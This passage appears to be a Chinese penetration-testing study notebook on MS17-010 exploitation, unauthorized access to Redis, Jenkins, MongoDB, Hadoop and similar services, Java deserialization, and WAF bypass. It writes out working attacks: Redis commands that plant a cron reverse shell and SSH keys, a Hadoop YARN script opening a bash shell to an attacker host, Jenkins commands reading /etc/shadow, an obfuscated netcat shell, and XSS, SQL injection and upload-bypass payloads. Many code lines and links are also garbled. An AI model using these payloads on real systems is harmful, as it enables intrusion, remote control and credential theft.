FOR /F %%i in () do -p 1433 ./sa:password123@%%1i -file ......
这四种命令补全查看前面的讲解即可,或者查看参考资料
参考资料:
/SecureAuthCorp/impacket --下载
/impacket/
/SecureAuthCorp/impacket/issues/613
2.2.1.3 MS17010py脚本利用
前言
因为有些机器存在漏洞,但是使用MSF的模块利用失败,而使用py脚本则能成功利用
利用
在本地用虚拟机搭建了Kail 和 Windows7系统
windwos7靶机IP:192.168.175.138
生成木马dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.175.138 lport=6666 -f dll >
py下载地址:
/misterch0c/shadowbroker/tree/master/windows
1)设置ip
2)Use Eternalblue使用 Eternalblue插件
3)Use doublepulsa使用 doublepulsar插件
4)最后执行dll反弹shell
操作步骤不截图了挺简单的…
2.2.2 未授权访问漏洞
这类问题覆盖的应用、利用方式较广,因此只举例频次较高的漏洞
Redis
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库
reds-cli
redis-cli -h 172. -p 6379
如何写入文件
172.:6379 > CONFIG GET dir
1) "dir"
2) "/usr/local/var/db/redis"
172.:6379 > CONFIG set dir /tmp/
OK
172.:6379 > SET foobar "who are you? Rvnoxsy"
OK
172.:6379 > CONFIG GET dbfilename
1) filename
2)
172.:6379 > CONFIG SET dbfilename write_file.log
OK
172.:6379 > save
OK
反弹shell-Linux
127.0.0.1:6379 > set shell "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/88 0>&1\n"
OK
127.0.0.1:6379 > config set dir /var/spool/cron/
OK
127.0.0.1:6379 > config set dbfilename root
OK
127.0.0.1:6379 > save
[238] xx May xx:xx:xx DB saved on disk
OK
写入公钥
生成公钥:
ssh-keygen-t rsa --一直回城即可
127.0.0.1:6379 > config set dir /root/ssh/
OK
127.0.0.1:6379 > config set dbfilename authorized_keys
OK
127.0.0.1:6379 > set x "\n\n\nssh-rsa xxxxxx root@kali\n\n\n"
OK
127.0.0.1:6379 > save
OK
操作完记得情况数据库
172.:6379 > FLUSHALL
2.2.2.1未授权漏洞总结
未授权漏洞
Redis
计划任务反弹shell
利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 6666
然后执行命令:
redis-cli -h 192.
192.:6379 > set x "\n* * * * * bash -i >& /dev/tcp/192./6666 ...
192.:6379 > config set dir /var/spool/cron/
192.:6379 > config set dbfilename root
192.:6379 > save
写入公钥
获取rsa
ssh-keygen -t rsa
将公钥写入,注意内容前后要加2个换行
echo -e "\n\n"; cat /root/ssh/id_rsa.pub; echo -e "\n\n") >
将放入键crackit里
cat redis-cli -h IP -x set crackit
连接目标
redis-cli -h Ip
设置目标的redis的配置文件
设置数据库备份目录为/root/.ssh/
192.: 6379 > config set dir /root/.ssh/
设置数据库备份文件名为authorized_keys
192.:6379 > config set dbfilename authorized_keys
此时公钥成功写入目标机子,文件名为authorized_keys
192.:6379 > save
利用私钥链接目标
ssh -i /root/.ssh/id_rsa root@192.
set x "\n\n\n
参考资料:
/a/1190000009811404
/andymccurdy/redis-py
Jenkins
默认是8080端口未授权访问就是任意用户都能访问都能执行命令
127.0.0.1:8080/jenkins/manage
127.0.0.1:8080/jenkins/script
常用命令集合:
println "whoami".execute().text
Linux:
println ifconifg -a".execute().text
println "cat /etc/passwd".execute().text
printin"cat /etc/shadow".execute().text
Windows:
println "ipconfig /all".execute().text
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
(sout, serr)
(1000)
println "out> $sout err> $serr"
靶机有漏洞复现,遇到了执行命令即可…
Mongodb
利用可视化工具连接默认端口:28017
推荐Robo3t 1.1 即可
python mongodb_unauth.py
coding:utf-8
mongodb未授权检测脚本
usage: python3 mongodb_unauth.py ip port
默认端口28017和27017
from pymongo import MongoClient
import sys
ip = [1]
port = int([2])
try:
conn = MongoClient(ip, port, socketTimeoutMS=5000) #连接 MongoDB,延时5秒
dbs = conn.database_names()
print('[ok] -> {}:{} database_names : {}'.format(ip, port, dbs))
()
except Exception as e:
error =
print('[-] -> {}:{} error : {}'.format(ip, port, error))
python3 mongodb_unauth.py 192.168.175.1 27017
ZooKeeper
默认端口:2181、2171
ls / #查看所有节点
get / #获取某个节点信息
参考资料:
/lihao21/article/details/51778255
/wushijin/p/
脚本检测
# coding=utf-8
import socket
def get_plugin_info():
plugin_info = {
"name": "Zookeeper未授权访问",
"info": "Zookeeper Unauthorized access",
"level": "中危",
"type": "未授权访问",
"author": "c4bbage@",
"url": "/reports/154369",
"keyword": "server:Zookeeper",
"source": 1
}
return plugin_info
def check(ip, port, timeout):
try:
(timeout)
s = (socket.AF_INET, socket.SOCK_STREAM)
((ip, int(port)))
flag = "envi"
# envi
# dump
# reqs
# ruok
# stat
(flag)
data = (1024)
()
if 'Environment' in data:
return u"Zookeeper Unauthorized access"
except:
pass
def main():
ip = "1.1.1.1"
print check(ip, 2181, 2)
if __name__ == '__main__':
main()
/ysrc/xunfeng/tree/master/vulscan/vuldb
Elasticsearch
默认端口:9200
http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
htp:// localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数
脚本检测:
# coding:utf-8
# elasticsearch未授权检测脚本
# author:ske
# usage: python3 elasticsearch_unauth.py ip port
# 默认端口9200
# http://localhost:9200/_plugin/head/ web管理界面
# http://localhost:9200/_cat/indices
# http://localhost:9200/_river/_search 查看数据库敏感信息
# http://localhost:9200/_nodes 查看节点数据
import sys
from elasticsearch import Elasticsearch
import requests
import json
ip = [1]
port = int([2]) # 9200
try:
es = Elasticsearch("{}:{}".format(ip, port), timeout=5) # 连接Elasticsearch,延时5秒
(index='unauth_text')
print('[+] 成功连接 :{}'.format(ip))
print('[+] {} -> 成功创建测试节点unauth_text'.format(ip))
(index="unauth_text", doc_type="test-type", id=2, body={"text": "text"})
print('[+] {} -> 成功往节点unauth_text插入数据'.format(ip))
ret = (index="unauth_text", doc_type="test-type", id=2)
print('[+] {} -> 成功获取节点unauth_text数据 : {}'.format(ip, ret))
(index='unauth_text')
print('[+] {} -> 清除测试节点unauth_text数据'.format(ip))
print('[ok] {} -> 存在ElasticSearch未授权漏洞'.format(ip))
print('尝试获取节点信息:↓')
text = ((url='http://{}:{}/_nodes'.format(ip, port), timeout=5).text)
nodes_total = text['_nodes']['total']
nodes = list(text['nodes'].keys())
print('[ok] {} -> [{}] : {}'.format(ip, nodes_total, nodes))
except Exception as e:
error =
print('[-] -> {} error : {}'.format(ip, error))
python3 elasticsearch_unauth.py 192.168.1.4 9200
Memcache
默认端口11211
提示连接成功表示漏洞存在
telnet <target> 11211,或 nc -vv <target> 11211
Memcached端口是对外开放的,用nc或Telne可以直接登录,查看信息,增加修改都可以
修复建议
memcached设置监听内网或配置防火墙限制非必要的远程访问
参考
/mrhonest/p/
Hadoop
Hadoop是一个由Apache基金会所开发的分布式系统基础架构
用户可以在不了解分布式底层细节的情况下,开发分布式程序
充分利用集群的威力进行高速运算和存储
在默认情况下,Hadoop允许任意用户访问管理接口
poc:
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = (url)
app_id = ()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
(url, json=data)
修改中的反弹IP
python
HDFS
NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口 14000
journalnode 默认端口 8480
YARN (JobTracker )
ResourceManager 默认端口 8088
Jobtracker 默认端口 50030
TaskTracker 默认端口 50060
Hue默认端口8080
YARN(JobTracker)
master 默认端口 6001
regionserver 默认端口 60030
hive- server2默认端口1000
spark- jdbcserver默认端口10003
开启身份验证,防止未经授权用户访问
Couchdb
默认端口5984
在配置中:
bind_address = 设置为0.0.0.0则存在未授权访问
直接加端口进行访问即可
exp:
/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/
Ldap
使用工具ldap admin直接连接即可
防御措施:
/mrhonest/p/ --建议
/u011607971/article/details/86378361 --管理方法
未授权漏洞总结:
/f1veT/VulScan/find/master --Vulscan
/ysrc/xunfeng/tree/master/vulscan/vuldb --vuldb
2.2.2.2 JBOSS未授权访问
Jboss未授权访问
vulhub漏洞平台可以复现,启用环境位置:vulhub-jboss-cve-2017-7504
docker-compose up -d
访问8080端口无账号密码就可进入
linux-kali-exp
git clone /joaomatosf/jexboss
cd jexboss
python jexboss py
python3 IP+port
执行工具会依次检测一下项目,有漏洞就会显示红色的: VULNERABLE(易受攻击的),工具就会根据找到容易受到攻击的点,进行利用
然后选择YES,就可以获得shell了
2.2.3 远程代码执行漏洞
2.2.3.1 Java下奇怪的命令执行
前言
使用ProcessBuilder
ProcessBuilder pb=new ProcessBuilder(cmd);
();
使用Runtime
().exec(cmd)
也就是说上面cmd参数可控的情况下,均存在命令执行的问题。但是话题回来,不太清楚大家是否遇到过java命令执行的时候,无论是windows还是linux环境下,带有 |,<,> 等符号的命令没办法正常执行。所以今天就进入底层看看这两个东西
差别
这里只讲解下跟进 java. lang, Runtime#exec的构造方法,exec的构造方法有以下几种情况,其实根据传入的变量我们大概可以区分的了,一个是根据 String command,也就是直接传入一个字符串,另一个是根据 String cmdarrayu[],也就是传入一个数组
需要知道{}.exec{} 的底层实际上也是 ProcessBuilder
getRuntime{}.exec{} 如果直接传入字符串会经过String Tokenizer的分割,进而破坏其原本想要表达的意思
/2015/03/
详细了解下这篇文章的讲解
总结:
其实java已经尽量规避命令执行的安全问题,JDK沙盒机制会进行 checkExec,执行命令的机制就是仅仅检查并执行命令数组中的第一个,而分隔符后面的所有东西都是默认为被执行程序的参数,所以 getRuntime().exec() 通过传入字符串执行命令的时候,应该尽量避免使用空格,用了空格可能会改变这条命令本身想要表达的意思
所以在Java下如果遇到复杂的命令执行,且参数只能如下所示,且只有一个位置可以控制的话,建议使用base64的编码方式,windows下可以使用 powershll的base64
Java的反序列化框架利用框架yso,以及一些shiro这类反序列化导致的命令执行实际上很多是用了getRuntime来达到命令执行的目的,且就像我们上面说的,可控位置比较固定,执行复杂命令会出现执行不了
Reference
sh-or-getting-shell-environment-from
2.2.3.2 Shiro反序列化记录
漏洞搭建安装和复现:
/developer/article/1078421
/2016/08/apache-shiro-java/
Reference
Pwn a CTF Platform with Java JRMP Gadget
/2018/03/
/
/p/f10ad968e1b2
强网杯“彩蛋— Shiro1.2.4(SHRO550)漏洞之发散性思考
该链接已失效,可查看书籍
Apache Shiro Java反序列化漏洞分析
/2016/08/apache-shiro-java/
/post/Apache-Shiro-Deserialize-Vulnerability/
知识盲区,需要脑补!!!!!
2.2.3.3 RMI-反序列化
参考
RM官方文档
/t/4711#toc-3 ---浅显易懂的JAVA反序列化入门
java安全漫谈-04RM篇(1) ----如果看到可以找dayu我要
java安全漫谈篇(2) --没找到(2)....
知识盲区,需要脑补!!!!!
2.2.3.4 JNDI注入
参考:(哎,知识盲区,加油脑补)
/vuls/ --Jndi注入及Spring RCE漏洞分析
/blog/research/exploiting-jndi-injections-java --在Java中利用JNDI注入
/ --如何绕过高版本JDK的限制进行JNDI注入利用
RPC
/p/2accc2840a1b --如何给老婆解释什么是RPC
/column/ ---深入理解JNDI注入与Java反序列化漏洞利用
ldap
/wilburxu/p/ --LDAP概念和原理介绍
/p/7e4d99f6baaf --LDAP入门
/caoyujiao520/article/details/82762097 --LDAP入门使用
2.2.3.5 fastjson漏洞浅析
前言
Fastion是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配"的算法,把JS0N Parse的性能提升到极致,是目前Java语言中最快的JSON库。 Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、We输出、 Android客户端等多种应用场景
参考链接
/column/ ---如何绕过高版本JDK的限制进行JNDI注入
三个fastjson1.2…版本的poc,需要花很多时间来学习!!!
2.2.3.6 CVE-2019-11043 PHP远程代码执行复现
简介
相信大家都在满天的公众号预警里面看过很多,这里就一笔带过
2019年10月22日,国外安全研究员公开了一个PHP-FPM远程代码执行的漏洞EXP
该漏洞是 Andrew Danau在某比赛解决一道CTF题目时发现,向目标服务器URL发送%0a符号时,服务返回异常发现的漏洞
2019年9月26日,PHP官方发布漏洞通告其中指出使用 Nginx + php-fpm的服务器在部分配置下存在远程代码执行漏洞且该配置已被广泛使用,危害较大,影响较为广泛相关工具已经公开
Github地址如下:
https://neex/phuip-fpizdam
方法很多,我会写出来…后补!!!
2.2.3.7 java webshell从入门到入狱系列1-基础篇
本系列文章纯探讨技术交流,请勿使用本文探的技术构造恶意webshel非法入侵他人网站
前言
本系列,主要从webshell基础、 webshell的bypass技术(关键字、流量层、hook点逃逸)、后渗透的webshell维权(基于容器特性的隐式webshell、内存shell等)等方面和大家交流java中webshe‖的形式
基础
java webshell种类
现在大部分中间件容器,所能支持解析的后缀,主要是jsp,jspx 两种动态脚本为主,比如 tomcat容器中,默认能支持解析的动态脚本已经默认写在配置中了
<jsp-config>
<jsp-property-group>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.jsp</url-pattern>
<scripting-invalid>true</scripting-invalid>
</jsp-property-group>
</jsp-config>
在目前常见的 webshel的后门种类,主要分如下几类:
各种客户端的一句话 webshll (比如菜刀、冰蝎、蚁剑、c刀等常见客户端)、专门负责数据传输的webshell(与数据库进行交互)、Tune后门(基于 socks5协议的 reGeorg之类的)、小马(单纯的进行命令执行、单纯的进行文件管理/上传等功能)、大马(集成了文件管理、命令执行、数据库连接等多功能性大马)
java执行命令方式
在这节我们拿最基础的命令执行的来讨论,如何用多种方式写我们的负责命令执行的webshell
在java中,常见的能够执行命令的方式
java基础的webshell命令执行方式
使用 java runtime exec()
第一种常见的使,用 类进行执行系统命令,该方法也是目前市面上各种静态查杀 webshell 辅助工具首要盯着的目标,需要注意的是win 下和linux 需要区别对待,以及当使用多个命令组合使用注意坑。下面我们来看看代码。使用 Runtime类,调用exec执行命令返回一个Process对象,然后启一个 BufferedReader类,对返回的结果进行保存回显处理。执行exec的时候需要特别注意,带有|,<,> 等符号的命令需要使用如下代码的方式进行执行,要不然容易出错
讲解了webshell大部分能利用的机制:
Java 执行系统命令的方法和原理
用 ProcessBuilder 绕过检测
使用 Java 反射机制绕过检测
使用 Java 类加载机制绕过检测
获得 Class 对象的四种方法
/developer/article/1180753 --利用Java反射和类加载机制绕过JSP后门检测
非常详细…
/javase/ --安全门
熟悉下Java反射基础:
定义:
java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对
于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象的功能称为java语言的反射机制
java反射涉及的类:
cass类:代表类的实体,在运行的Java应用程序中表示类和接口
Field类:代表类的成员变量(类的属性)
Method类:代表类的方法
Constructor类:代表类的构造方法
Class类中常见使用的
1)获取的类中的方法
for Name(String className):根据类名返回类的对象
getName():获得类的完整路径名字
2)获取类中属性相关
getFields():获得所有公有的属性对象
getDeclaredFields():获得所有属性对象(带Declared的可以获取到私有private)
3)获得类中方法
getMethods():获得该类所有公有的方法
getDeclaredMethod( String name, Class…<?> parameterTypes):获得该类某个方法
getDeclaredMethods():获得该类所有方法
Fed类常见使用的
equals(Object obj):属性与ob相等则返回true
get(Object obj):获得obj中对应的属性值
set(Object obj, Object value):设置obj中对应属性值
Method类
invoke(object obj, Object…args) 传递 object对象及参数调用该对象对应的方法
Constructor类
newInstance(Object…initargs):根据传递的参数创建类的对象
2.2.3.8 深究XMLdecoder (dayu-Third day)
Oracle关于这个 xmldecoder造成的漏洞的CVE编号分别是CVE2017-3506、CVE2017-10271、CVE2019-2725
最早关于CVE2017-3506的补丁只是根据 object标签进行了限制
而根据文章中讲解的继承关系 object替换成void即可,它们实际上是不受影响的,因此便出现了CVE-2017-10271,而针对CVE-2017-10271的补丁限定了所有具有执行的节点
但这次CVE-2019-2725主要是class标签,class标签可代替 object标签来生成对象,因此这次漏洞本质还是 xmldecoder的问题,而补丁也是针对class标签来处理的
/fnmsd/article/details/89889144 --fnmsd作者-XMLDecoder解析流程分析
/post/id/180725 ---浅谈Weblogic反序列化——XMLDecoder的绕过史
只是盲区,需要脑补!!!!
2.2.3.9 FastJson 反序列化学习
这篇文章总结的非常好:
/2019/06/29/FastJson-反序列化学习/
Reference
fastjson-remote-code-execute-poc:
/shengqi158/fastjson-remote-code-execute-poc
Fastjson 1.2.24反序列化漏洞分析:
/vuls/
Fastjson反序列化漏洞研究:
/mrchang/p/
Fastjson反序列化之TemplatesImpl调用链:
/2019/05/12/Fastjson反序列化之TemplatesImpl调用链/
2.2.3.10 Oracle 数据库安全思考之xml反序列化
学习文章非常详细:
/u/4587690/blog/4452199
参考:
/2018/07/
2.2.3.11 Webshell绕安全模式执行命令
绕过方法总结:
http:///
EXP和poc:
/yangyangwithgnu/bypass_disablefunc_via_ld_preload
2.2.3.12 Java 下的XEE漏洞
该文章讲解了java xml下大部分的XEE漏洞原因和防御:
/2019/10/31/Java-XXE-总结/ --详细看看
/t/3372 --有多余时间可以看看
Reference
Java XXE注入修复问题填坑实录:
/s/bTeJYzUN9T1u-KDZON5FiQ
修不好的洞,JDK的坑——从WxJava XXE注入漏洞中发现了一个对JDK的误会:
/s/bTeJYzUN9T1u-KDZON5FiQ
XML_External_Entity_Prevention_Cheat_Sheet:
/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#Java
一个被广泛流传的XXE漏洞错误修复方案:
/articles/2019/a-widely-circulated-xxe-bug-fix/
JAVA常见的XXE漏洞写法和防御:
/2018/10/23/java-xxe/
2.2.3.13 Solr Velocity模板远程代码复现及利用指南
/archives/ --详细复现防御
/bmjoker/p/
/topic/501/ --P牛解释
2.2.3.14 Solr-RCE-via-Velocity-template
/2019/11/03/Solr-RCE-via-Velocity-template/
Reference
用Intellij idea搭建solr调试环境:
/p/4ceeb2c20002
/solr/guide/6_6/
2.2.3.15 java webshell 从入门到入狱系列2-攻防对抗之Bypass-上篇
1)java反射bypass
2)反射的进阶版,通过结合利用byte字节码+反射的方式完全无任何痕迹的反射回显命令执行马
3)java 后门-unicode编码
2.2.3.16 java webshell 从入门到入狱系列3-攻防对抗之Bypass-中篇
其他姿势载入webshell的技巧tip
JavaWeb 随机后门(远程下载文件)
Java URLClassLoader 动态加载jar包 webshell
openrasp (开源应用运行时自我保护)Bypass
2.2.3.17 java webshell 从入门到入狱系列4-攻防对抗之Bypass-下篇
各家厂商早期针对流量层查杀 webshel的原理:
/t/6550
2.2.3.18 Java反序列化过程深究(dayu-fourth day)
/a/357066711_257305
CVE-2017-3248
CVE-2017-3248
防护建议
可以在resolveclass和resovleproxyclass增加一些反序列化利用类的黑名单检查
2.2.3.19 Apache Slor不安全配置远程代码执行漏洞复现及jmx rmi利用分析
CVE-2019-12409
/posts/008ae6ed-9eee-4fc4-911c-7c603c8b884a?utm_source=bottom-latest-posts
该文章详细讲解复现!!!
2.2.3.20 java命令执行小细节
/article/1029
学习查看知识点,广告可以忽视!!!
2.2.3.21 JDK反序列化Gadgets-7u21
/t/6884
详细,真详细的文章!!
参考
/vuls/
/archives/
/frohoff/24af7913611f8406eaf3
/article/41
/rickiyang/p/ ---javassist使用全解析
2.2.3.22 Weblogic-T3-CVE-2019-2890-Analysis
/t/6904
详细复现!!
2.2.3.23 spring-boot-actuators未授权漏洞
/p/3162ce30a853
/blog/research/exploiting-spring-boot-actuators
2.2.3.24 SEMCMS2.6后台文件上传漏洞审计
/html/
https:///Web/ --Admin/SEMCMS_Upfile.php代码分析
2.2.3.25 代码审计之lvyecms后台getshell
/anquan/
/search?q=cache:9JJuN-bvrgwJ:/+&cd=3&hl=zh-CN&ct=clnk&gl=hk
2.2.3.26 Log4j-Unserialize-Analysis
/t/7004
/u/4587690/blog/4452130
两篇文章内容一致!详细介绍了CVE-2019-17571、CVE-2017-5645
2.2.3.27 JAVA反序列化- FastJson组件
/t/7027
非常难,内容非常多!!!加油!!!这块比较难
2.2.3.28 Spring-securiy-oauth2 (CVE-2018-1260)
/2018/05/13/cve-2018-1260/
文章内容复现类似,可分析查看…
2.2.4 WAF-bypass(dayu-Fifth day)
找真实IP,绕过CDN
云waf一般可以通过此方法绕过
识别CDN
ping
dig
nslookup
或者使用站长工具查看IP是否唯一等
寻找真实的IP
DNS历史解析记录
寻找DNS历史记录,找到后修改hos文件即可:
http://site./
/zh-cn/
/
/site_report?url=
/ipv4?q=
/
/home
/list/apex_domain/
RSS邮箱订阅,查看邮件源码
一般也会得到真实的IP地址,通过rss订阅的方式,可以查找到订阅的消息中真实IP
或者在原始信息-头信息中(unknown[])信息
服务器向外请求(DNSLOG)
/Xy--1/p/
同网段子域名信息
DNS服务器域名信息:
google Public DNS(8.8.8.8,8.8.4.4)
OpenDNS(208.67.222.222,208.67.220.220)
OpenDNS Family(208.67.222.123,208.67.220.123)
Dyn DNS(216.146.35.35,216.146.36.36)
Comodo Secure(8.26.56.26,8.20.247.20)
UltraDNS(156.154.70.1,156.154.71.1)
Norton ConnectSafe(199.85.126.10,199.85.127.10)
https降级绕过
参考文章:/p/202628255
ssl问题绕过
所以选用一个WAF不支持但是服务器支持的算法,选用TLSv1 256 bits ECDHE-RSA-AES256-SHA。就可以是WAF无法识别导致绕过
curl --ciphers ECDHE-RSA-AES256-SHA /ssl-cipher-test
WAF支持的算法如下:
SSLv3
SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4_128_MD5
SSL_RSA_WITH_RC4_128_SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4_40_MD5
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
TLS/1.0-1.2
TLS_RSA_WITH_NULL_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_EXPORT1024_WITH_RC4_56_MD5
TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_RC4_128_MD5 = { 0x000x04 }
TLS_RSA_WITH_RC4_128_SHA = { 0x000x05 }
TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }
参考文章:
/2018/09/10/利用SSL问题绕过WAF文章分析/
method 绕过
1)改变method,get改post,post 改上传(还有cookies传值)
2)改变method为不规则,比如改get,post为HELLLOXX等(某些apache版本)
GET/xxx/?id=1+and+sleep(3) HTTP/1.1
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1
**
Heard IP 绕过
(一般应用拦截,非WAF)
X-forwarded-for:127.0.0.1
X-remote-IP:127.0.0.1
X-originating-IP:127.0.0.1
x-remote-addr:127.0.0.1
x-client-1p:127.0.0.1
Heard content-type 绕过
content-type为空
content-type改成其他的
content-type必须指定唯一一个类型,例如 application/ octet- stream(比如安全狗)
content-type改成不规则的text/htm1xxxxxx
Content-Type:multipart/form-data ; boundary=0000
Content-Type:mUltiPart/ForM-dATa;boundary=0000
Content-Type:multipart/form-datax;boundary=0000
Content-Type:multipart/form-data,boundary=0000
Content-Type:multipart/form-data boundary=0000
content-Type:multipart/whatever;boundary=0000
content-Type:multipart/; boundary=0000
content-Type: application/octet-stream;
XSS
基础常用的常规语句
?id=alert(document['cookie'])
?;eval(unescape(location))//#%0Aalert(0)
?id=<script<{alert(1)}/></script>
?id=<img src=x:alert(alt) onerror=eval(src) alt=0>
?id=%3cscript%3ealert(1)%3c%2fscript%3c
?id=<a href="javascript#alert(1);">
id=%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2531%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e
?id=<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
?id=1234&"><script>alert(1)</script>=1234 #参数名
直接在文件名例如asp、php后加即可绕过
参考文章:
/lcamry/articles/
SQL
简单判别诸如点以及数据库类型 :
I 数据库类型丨连接符丨注释符号丨其他特殊方式丨唯一的默认表变量和函数
I MSSQL| %2B (URL加号编码) | -- | 待补充丨@@PACK_RECEIVED
I MYSQL| %20 (URL空格编码)丨# / -- | 待补充 | CONNECTION_ID()
I Oracle I %7C (URL竖线编码) | -- 待补充 | BITAND(1,1)
I PGsql | %7C (URL竖线编码) | -- |ad1::int=1 | getpgusername()
| Access | %26 (URL与号编码) | N/A | 待补充 | msysobjects
为避免被wa拦截以及封禁P,注入建议不首先使用and以及o语句。
可用如下方式替换:
数字型注入:
?id=2*2
?id=4
字符型注入,根据上表判断】
?key=wo'+'rd
?key=wo'||'rd
?key=wo' 'rd
Mysql
?id=ord('a')=97
?id=123+AND+1=1
?id=123+&&+1=1
?id='=’
?id=123+AND+md5(‘a’)!= md5(‘A’)
?id=123+and+len(@@version)>1
?id=1’||1=’1
?id=123‘+like+'123
?id=123'+not+like+'1234
?id='aaa'<>'bbb'
?id=123/*! union all select version() */--
?id=123/*!or*/1=1;
?id=(1)union(((((((select(1), hex(hash)from(users)))))))) ---7个+8个括号
?id=1+union+(select’1‘,concat(login,hash)from+users)
?id=1+%55nion(%53elect 1, 2, 3)-- -
?id=1/*!000000union*/select%0d%0a/*asdas/asd asasd*/version()
?id=1 union(select%0aall{x users}from{x ddd})
Mysql常用函数
字符串处理:
?key=user' OR mid(password,1,1)='*'
?key=user' OR mid(password,1,1)=0x2a
?key=user' OR mid(password,1,1)=unhex('2a')
?key=user' OR mid(password,1,1) regexp '[*]'
?key=user' OR mid(password,1,1) like '*'
?key=user' OR mid(password,1,1) rlike '[*]'
?key=user' OR ord(mid(password,1,1))=42
?key=user' OR ascii(mid(password,1,1))=42
?key=user' OR find_in_set('2a',hex(mid(password,1,1)))=1
?key=user' OR position(0x2a in password)=1
?key=user' OR locate(ox2a,password)=1
?key=user' OR substring((select 'password'),1,1) = 0x70
?key=user' OR substr((select 'password'),1,1) = 0x70
?key=user' OR mid((select 'password'),1,1) = 0x70
?key=user' OR strcmp(left('password',1), 0X69) = 1
?key=user' OR strcmp(left('password',1), 0×70) = 0
?key=user' OR strcmp(left('password',1), 0x71) = -1
命令执行
‘ (单引号)以及 \ (反斜杠)绕过
$ echo orleven
orleven
$ echo o'r'l'e'v'e'n''
oreven
$ /b'i'n/c'a't/e't'c/p'a's's'w'd'
root: x: 0: 0: root: /root:/bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: x: 2: 2: bin:/bin: /usr/sbin/nologin
$ /b\i\n/c\at /et'c'/pa's'swd
root: x: 0: 0: root: /root: /bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: x: 2: 2: bin:/bin: /usr/sbin/nologin
? 、 * 、 [、 ]、 ^、 - 通配符绕过
问号最好只匹配到唯一一条
$ /b??/c?t /etc/??ss?d
root: X: 0: 0: root: /root: /bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: X: 2: 2: bin:/bin: /usr/sbin/nologin
$ /???/n? -e /???/b??h 2130706433 1337 # /bin/nc -e /bin/bash 127.0.0.1 1337
$ 不存在的符号
cat $u/etc$u/passwd$u
root: x: 0: 0: root: /root: /bin/bash
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin
bin: x: 2: 2: bin: /bin: /usr/sbin/nologin
; 分号执行
$ cat /etc/passwd;ls
.......
mysql:x:110:115:MySQL Serve,,,:/nonexistent:/bin/false
go gobuster gopath soft tool
文件上传绕过
文件名绕过
1)文件名加回车
2)(%80-%99).jpg 绕过
3)如果有改名功能,可先上传正常文件,再改名
4)%00
5)00(hex)
6)长文件名(windows 258byte | linux 4096byte ),可使用非字母数字,比如中文等最大程
度的拉长。
7)重命名
脚本后缀
Php/php3/php/php5/php6/pht/phpt/phtml
asp/cer/asa/cdx/aspx/ashx/ascx/asax
jsp/jspx/ispf
解析漏洞
服务器特性:
1.会将Request中的不能编码部分的%去掉
中如果有unicode部分会将其进行解码
IIS
lIS6.0两个解析缺陷:目录名包含asp、.asa、.cer的话,则该目录下的所有文件都将按照asp解析
例如:
/abc,asp/ 会当做 /abc,asp 进行解析
// 会当做 / 进行解析
.解析漏洞
Apache在以上版本中,解析文件名的方式是从后向前识别扩展名,直到遇见Apache可识别的扩展名为止
Nginx
以下Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell. jpg,然后以 进行请求
• Nginx 0.5.*
• Nginx 0.6.*
• Nginx 0.7 <= 0.7.65
• Nginx 0.8 <= 0.8.37
以上Nginx容器器的版本下,上传⼀个在waf白名单之内扩展名的文件,然后以%进行请求
• Nginx 0.8.41 – 1.5.6:
以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件,然后以%进行请求
PHP CGI 解析漏洞
IIS 7.0/7.5
Nginx < 0.8.3
以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件,在请求时以/请求,会将以php来解析
/t/337
系统特性:利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过
.
(空格)
:
: $DATA
test.php_
参考文章:
/t/1189
协议解析不一致,绕过waf(注入跨站也可尝试)
因为这种不仅仅存在于上传之处,注入跨站也可尝试
垃圾数据
-------------WebkitFormBoundaryFADasdasdasDdasd
Content-Disposition: form-data; name="file", filename=’;aaaaaaaaaaaaaaaa
